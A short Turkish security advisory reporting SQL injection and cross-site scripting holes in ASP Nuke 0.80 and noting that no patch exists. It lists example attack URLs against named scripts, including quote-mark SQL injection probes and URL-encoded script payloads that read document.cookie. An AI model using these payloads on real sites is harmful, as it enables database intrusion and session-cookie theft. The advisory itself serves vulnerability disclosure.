ASP Nuke Giriş Onaylama Güvenlik Açıkları

Konu: ASPNuke
Etkisi: Uzaktan SQL komutları çalıştırma
Etkilenen sürüm: 0.80
ASP Nuke yazılımında SQL Injection ve XSS (cross-site scripting) açıkları tespit edildi. profile.asp ve select.asp script'leri kullanıcının girdiği HTML kodlarını düzgün olarak filtrelemiyor. Bu açık sayesinde uzaktaki bir kullanıcı SQL komutları çalıştırabiliyor ve cross-site scripting saldırısı gerçekleştirebiliyor.
ör:
http://[target]/module/support/task/comments.asp?taskid='SQL_INJECTION
http://[target] /module/support/task/detail.asp?taskid='SQL_INJECTION
http://[target]/module/article/article/article.asp?articleid='SQL_INJECTION
http://[target]/module/discuss/forum/profile.asp?topicid=1&thradid=346&username='%22%3E %3Cs cript%3Ealert(document·cookie)%3C/script%3E
http://[target]/module/support/language/select.asp?code='%22%3E%3Cscript%3Ealert(document. cookie)%3C/script%3E

Çözüm:

Henüz bir yama yada yeni sürüm çıkmadı